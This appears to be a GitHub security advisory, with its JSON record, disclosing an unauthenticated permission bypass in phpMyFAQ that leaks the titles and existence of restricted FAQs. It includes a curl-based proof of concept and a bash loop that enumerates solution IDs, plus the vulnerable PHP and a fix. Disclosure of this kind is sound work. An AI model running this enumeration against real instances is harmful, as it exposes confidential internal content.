GHSA-99QV-G4X9-MGC3
Vulnerability from github – Published: 2026-05-06 20:45 – Updated: 2026-05-06 20:45Summary
The public /solution_id_{id}.html route calls Faq::getIdFromSolutionId() in phpmyfaq/src/phpMyFAQ/Faq.php:1312. That query joins faqdata with faqcategoryrelations solely by solution_id and returns the matching FAQ's id, lang, thema (title), and category_id with no permission filter. An unauthenticated visitor hits the route with a sequential integer and the server 301-redirects to /content/<category>/<id>/<lang>/<title-slug>.html, leaking the FAQ's existence, internal id, language, category binding, and title via the redirect's Location header and the redirected page's canonical link, share-to-social URLs, and hidden form fields. The related getFaqBySolutionId() at line 1221 contains an explicit fallback query (added "for tests") that also bypasses the permission filter, widening the blast radius to any callsite that trusts its result.
Details
The sink: getIdFromSolutionId() has no permission filter
phpmyfaq/src/phpMyFAQ/Faq.php:1312:
public function getIdFromSolutionId(int $solutionId): array
{
$query = sprintf(
'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id
FROM %sfaqdata fd
LEFT JOIN %sfaqcategoryrelations fcr
ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang
WHERE fd.solution_id = %d',
Database::getTablePrefix(),
Database::getTablePrefix(),
$solutionId,
);
// ...
}
No WHERE-clause permission filter, no group/user filter. Every callsite that trusts this method exposes restricted FAQs. The route at phpmyfaq/src/phpMyFAQ/Controller/Frontend/FaqController.php:172 uses this result to compute a slugified URL and 301-redirects to it:
#[Route(path: '/solution_id_{solutionId}.html', name: 'public.faq.solution', methods: ['GET'])]
public function solution(Request $request): Response
{
$solutionId = Filter::filterVar($request->attributes->get('solutionId'), FILTER_VALIDATE_INT, 0);
// ...
$faqData = $this->faq->getIdFromSolutionId($solutionId);
if ($faqData === []) {
return new Response('', Response::HTTP_NOT_FOUND);
}
$slug = TitleSlugifier::slug($faqData['question']);
$url = sprintf('/content/%d/%d/%s/%s.html',
$faqData['category_id'], $faqData['id'], $faqData['lang'], $slug);
return new RedirectResponse($url, Response::HTTP_MOVED_PERMANENTLY);
}
The redirect URL embeds the title slug, so an unauthenticated visitor observes the title directly even though the canonical /content/<...>.html page may deny rendering the body.
Related sink: getFaqBySolutionId() explicitly falls back without the filter
phpmyfaq/src/phpMyFAQ/Faq.php:1256-1265:
if (false === $row || null === $row) {
// Fallback without permission filter to ensure retrieval in non-authenticated contexts (e.g., tests)
$fallbackQuery = sprintf(
'SELECT * FROM %sfaqdata fd WHERE fd.solution_id = %d LIMIT 1',
Database::getTablePrefix(),
$solutionId,
);
$fallbackResult = $this->configuration->getDb()->query($fallbackQuery);
$row = $this->configuration->getDb()->fetchObject($fallbackResult);
}
The inline comment confirms the fallback was introduced for test convenience. In production, the fallback fires exactly when the permission-filtered query returns zero rows (because the caller is unauthenticated or lacks group/user permission) and populates every field of faqRecord, including content, keywords, author, email, and notes. Downstream consumers that expect faqRecord to respect ACLs no longer do.
Entry enumeration
Solution IDs are monotonically increasing integers (faqdata.solution_id). An attacker enumerates /solution_id_<n>.html from 1 upward and records every non-404 response to discover the full set of FAQs on the instance, including ones restricted to admin-only groups or specific users.
Proof of Concept
Prerequisites: a phpMyFAQ instance has at least one FAQ record restricted to a specific user or group via faqdata_user / faqdata_group. Note its solution_id, which is assigned sequentially starting from a six-digit base.
Step 1. Anonymous GET of the solution URL:
curl -sS -L -o /tmp/out.html -w 'HTTP %{http_code}\n' \
'http://<host>/solution_id_<restricted-solution-id>.html'
Step 2. Observe the 301 redirect that getIdFromSolutionId() returns. The Location header carries the slugified title of the restricted FAQ directly in the URL path:
HTTP/1.1 301 Moved Permanently
Location: /content/<category-id>/<record-id>/<lang>/<title-slug>.html
Step 3. The redirected content page embeds the same metadata in client-controlled sinks, even when the body rendering is suppressed by a separate permission check:
<link rel="canonical" href="http://<host>/content/<category-id>/<record-id>/<lang>/<title-slug>.html">
<input type="hidden" name="voting-id" value="<record-id>">
<a href="http://<host>/pdf/<category-id>/<record-id>/<lang>">...</a>
Step 4. Enumerate solution IDs to discover every FAQ on the instance, including those the permission model intended to hide:
for id in $(seq 1 100000); do
code=$(curl -sS -o /dev/null -w '%{http_code}' "http://<host>/solution_id_${id}.html")
if [ "$code" = "301" ]; then
loc=$(curl -sSI "http://<host>/solution_id_${id}.html" | awk -F': ' '/^Location:/{print $2}' | tr -d '\r')
echo "solution_id=${id} -> ${loc}"
fi
done
Each 301 response's Location header reveals category, id, language, and title of a FAQ whose existence the permission model meant to hide.
Impact
Any unauthenticated visitor discovers the full set of FAQ entries on the instance, including the subset restricted to specific groups or users, and reads the title of every restricted FAQ. Deployments that use phpMyFAQ to host internal-only content alongside public content (staff knowledge bases, internal SOPs, confidential customer notes) lose the confidentiality of titles and of the fact that those FAQs exist. Slugified titles often encode the subject directly (for example q3-layoff-plan, aws-root-key-rotation), so the title alone can be sensitive.
The body content is usually still served through a separate permission-enforcing path on the canonical /content/<...>.html URL, so full-body disclosure requires the caller to also defeat that path (for example by combining with a session from any low-privilege account). The title-plus-existence leak is sufficient on its own to harm confidentiality in deployments where titles encode what the FAQ is about.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (Medium, 5.3). CWE-863.
Recommended Fix
Add a permission filter to getIdFromSolutionId() the same way getFaqBySolutionId() builds one for its primary query (using QueryHelper::queryPermission()):
public function getIdFromSolutionId(int $solutionId): array
{
$queryHelper = new QueryHelper($this->user, $this->groups);
$query = sprintf(
'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id
FROM %sfaqdata fd
LEFT JOIN %sfaqcategoryrelations fcr
ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang
LEFT JOIN (
SELECT record_id, group_id FROM %sfaqdata_group fdg WHERE fdg.group_id <> -1
UNION ALL
SELECT fd.id AS record_id, -1 AS group_id FROM %sfaqdata fd WHERE fd.solution_id = %d
) AS fdg ON fd.id = fdg.record_id
LEFT JOIN %sfaqdata_user fdu ON fd.id = fdu.record_id
WHERE fd.solution_id = %d %s',
Database::getTablePrefix(),
Database::getTablePrefix(),
Database::getTablePrefix(),
Database::getTablePrefix(),
$solutionId,
Database::getTablePrefix(),
$solutionId,
$queryHelper->queryPermission($this->groupSupport),
);
// ...
}
Separately, remove the unconditional fallback in getFaqBySolutionId() at Faq.php:1256-1265. If the permission-filtered query returns no rows, the FAQ is not visible to this caller; the method should leave faqRecord empty rather than re-query without the filter. If tests rely on the old behavior, replace the production fallback with a dedicated test helper or a flag that is disabled outside test bootstrap.
Found by aisafe.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "Packagist",
"name": "phpmyfaq/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T20:45:01Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe public `/solution_id_{id}.html` route calls `Faq::getIdFromSolutionId()` in `phpmyfaq/src/phpMyFAQ/Faq.php:1312`. That query joins `faqdata` with `faqcategoryrelations` solely by `solution_id` and returns the matching FAQ\u0027s `id`, `lang`, `thema` (title), and `category_id` with no permission filter. An unauthenticated visitor hits the route with a sequential integer and the server 301-redirects to `/content/\u003ccategory\u003e/\u003cid\u003e/\u003clang\u003e/\u003ctitle-slug\u003e.html`, leaking the FAQ\u0027s existence, internal id, language, category binding, and title via the redirect\u0027s `Location` header and the redirected page\u0027s canonical link, share-to-social URLs, and hidden form fields. The related `getFaqBySolutionId()` at line 1221 contains an explicit fallback query (added \"for tests\") that also bypasses the permission filter, widening the blast radius to any callsite that trusts its result.\n\n## Details\n\n### The sink: `getIdFromSolutionId()` has no permission filter\n\n`phpmyfaq/src/phpMyFAQ/Faq.php:1312`:\n\n```php\npublic function getIdFromSolutionId(int $solutionId): array\n{\n $query = sprintf(\n \u0027SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id\n FROM %sfaqdata fd\n LEFT JOIN %sfaqcategoryrelations fcr\n ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang\n WHERE fd.solution_id = %d\u0027,\n Database::getTablePrefix(),\n Database::getTablePrefix(),\n $solutionId,\n );\n // ...\n}\n```\n\nNo `WHERE`-clause permission filter, no group/user filter. Every callsite that trusts this method exposes restricted FAQs. The route at `phpmyfaq/src/phpMyFAQ/Controller/Frontend/FaqController.php:172` uses this result to compute a slugified URL and 301-redirects to it:\n\n```php\n#[Route(path: \u0027/solution_id_{solutionId}.html\u0027, name: \u0027public.faq.solution\u0027, methods: [\u0027GET\u0027])]\npublic function solution(Request $request): Response\n{\n $solutionId = Filter::filterVar($request-\u003eattributes-\u003eget(\u0027solutionId\u0027), FILTER_VALIDATE_INT, 0);\n // ...\n $faqData = $this-\u003efaq-\u003egetIdFromSolutionId($solutionId);\n if ($faqData === []) {\n return new Response(\u0027\u0027, Response::HTTP_NOT_FOUND);\n }\n $slug = TitleSlugifier::slug($faqData[\u0027question\u0027]);\n $url = sprintf(\u0027/content/%d/%d/%s/%s.html\u0027,\n $faqData[\u0027category_id\u0027], $faqData[\u0027id\u0027], $faqData[\u0027lang\u0027], $slug);\n return new RedirectResponse($url, Response::HTTP_MOVED_PERMANENTLY);\n}\n```\n\nThe redirect URL embeds the title slug, so an unauthenticated visitor observes the title directly even though the canonical `/content/\u003c...\u003e.html` page may deny rendering the body.\n\n### Related sink: `getFaqBySolutionId()` explicitly falls back without the filter\n\n`phpmyfaq/src/phpMyFAQ/Faq.php:1256-1265`:\n\n```php\nif (false === $row || null === $row) {\n // Fallback without permission filter to ensure retrieval in non-authenticated contexts (e.g., tests)\n $fallbackQuery = sprintf(\n \u0027SELECT * FROM %sfaqdata fd WHERE fd.solution_id = %d LIMIT 1\u0027,\n Database::getTablePrefix(),\n $solutionId,\n );\n $fallbackResult = $this-\u003econfiguration-\u003egetDb()-\u003equery($fallbackQuery);\n $row = $this-\u003econfiguration-\u003egetDb()-\u003efetchObject($fallbackResult);\n}\n```\n\nThe inline comment confirms the fallback was introduced for test convenience. In production, the fallback fires exactly when the permission-filtered query returns zero rows (because the caller is unauthenticated or lacks group/user permission) and populates every field of `faqRecord`, including `content`, `keywords`, `author`, `email`, and `notes`. Downstream consumers that expect `faqRecord` to respect ACLs no longer do.\n\n### Entry enumeration\n\nSolution IDs are monotonically increasing integers (`faqdata.solution_id`). An attacker enumerates `/solution_id_\u003cn\u003e.html` from 1 upward and records every non-404 response to discover the full set of FAQs on the instance, including ones restricted to admin-only groups or specific users.\n\n## Proof of Concept\n\nPrerequisites: a phpMyFAQ instance has at least one FAQ record restricted to a specific user or group via `faqdata_user` / `faqdata_group`. Note its `solution_id`, which is assigned sequentially starting from a six-digit base.\n\nStep 1. Anonymous GET of the solution URL:\n\n```bash\ncurl -sS -L -o /tmp/out.html -w \u0027HTTP %{http_code}\\n\u0027 \\\n \u0027http://\u003chost\u003e/solution_id_\u003crestricted-solution-id\u003e.html\u0027\n```\n\nStep 2. Observe the 301 redirect that `getIdFromSolutionId()` returns. The `Location` header carries the slugified title of the restricted FAQ directly in the URL path:\n\n```\nHTTP/1.1 301 Moved Permanently\nLocation: /content/\u003ccategory-id\u003e/\u003crecord-id\u003e/\u003clang\u003e/\u003ctitle-slug\u003e.html\n```\n\nStep 3. The redirected content page embeds the same metadata in client-controlled sinks, even when the body rendering is suppressed by a separate permission check:\n\n```html\n\u003clink rel=\"canonical\" href=\"http://\u003chost\u003e/content/\u003ccategory-id\u003e/\u003crecord-id\u003e/\u003clang\u003e/\u003ctitle-slug\u003e.html\"\u003e\n\u003cinput type=\"hidden\" name=\"voting-id\" value=\"\u003crecord-id\u003e\"\u003e\n\u003ca href=\"http://\u003chost\u003e/pdf/\u003ccategory-id\u003e/\u003crecord-id\u003e/\u003clang\u003e\"\u003e...\u003c/a\u003e\n```\n\nStep 4. Enumerate solution IDs to discover every FAQ on the instance, including those the permission model intended to hide:\n\n```bash\nfor id in $(seq 1 100000); do\n code=$(curl -sS -o /dev/null -w \u0027%{http_code}\u0027 \"http://\u003chost\u003e/solution_id_${id}.html\")\n if [ \"$code\" = \"301\" ]; then\n loc=$(curl -sSI \"http://\u003chost\u003e/solution_id_${id}.html\" | awk -F\u0027: \u0027 \u0027/^Location:/{print $2}\u0027 | tr -d \u0027\\r\u0027)\n echo \"solution_id=${id} -\u003e ${loc}\"\n fi\ndone\n```\n\nEach `301` response\u0027s `Location` header reveals category, id, language, and title of a FAQ whose existence the permission model meant to hide.\n\n## Impact\n\nAny unauthenticated visitor discovers the full set of FAQ entries on the instance, including the subset restricted to specific groups or users, and reads the title of every restricted FAQ. Deployments that use phpMyFAQ to host internal-only content alongside public content (staff knowledge bases, internal SOPs, confidential customer notes) lose the confidentiality of titles and of the fact that those FAQs exist. Slugified titles often encode the subject directly (for example `q3-layoff-plan`, `aws-root-key-rotation`), so the title alone can be sensitive.\n\nThe body content is usually still served through a separate permission-enforcing path on the canonical `/content/\u003c...\u003e.html` URL, so full-body disclosure requires the caller to also defeat that path (for example by combining with a session from any low-privilege account). The title-plus-existence leak is sufficient on its own to harm confidentiality in deployments where titles encode what the FAQ is about.\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (Medium, 5.3). CWE-863.\n\n## Recommended Fix\n\nAdd a permission filter to `getIdFromSolutionId()` the same way `getFaqBySolutionId()` builds one for its primary query (using `QueryHelper::queryPermission()`):\n\n```php\npublic function getIdFromSolutionId(int $solutionId): array\n{\n $queryHelper = new QueryHelper($this-\u003euser, $this-\u003egroups);\n $query = sprintf(\n \u0027SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id\n FROM %sfaqdata fd\n LEFT JOIN %sfaqcategoryrelations fcr\n ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang\n LEFT JOIN (\n SELECT record_id, group_id FROM %sfaqdata_group fdg WHERE fdg.group_id \u003c\u003e -1\n UNION ALL\n SELECT fd.id AS record_id, -1 AS group_id FROM %sfaqdata fd WHERE fd.solution_id = %d\n ) AS fdg ON fd.id = fdg.record_id\n LEFT JOIN %sfaqdata_user fdu ON fd.id = fdu.record_id\n WHERE fd.solution_id = %d %s\u0027,\n Database::getTablePrefix(),\n Database::getTablePrefix(),\n Database::getTablePrefix(),\n Database::getTablePrefix(),\n $solutionId,\n Database::getTablePrefix(),\n $solutionId,\n $queryHelper-\u003equeryPermission($this-\u003egroupSupport),\n );\n // ...\n}\n```\n\nSeparately, remove the unconditional fallback in `getFaqBySolutionId()` at `Faq.php:1256-1265`. If the permission-filtered query returns no rows, the FAQ is not visible to this caller; the method should leave `faqRecord` empty rather than re-query without the filter. If tests rely on the old behavior, replace the production fallback with a dedicated test helper or a flag that is disabled outside test bootstrap.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"id": "GHSA-99qv-g4x9-mgc3",
"modified": "2026-05-06T20:45:01Z",
"published": "2026-05-06T20:45:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-99qv-g4x9-mgc3"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ has unauthenticated FAQ permission bypass via getFaqBySolutionId fallback query"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.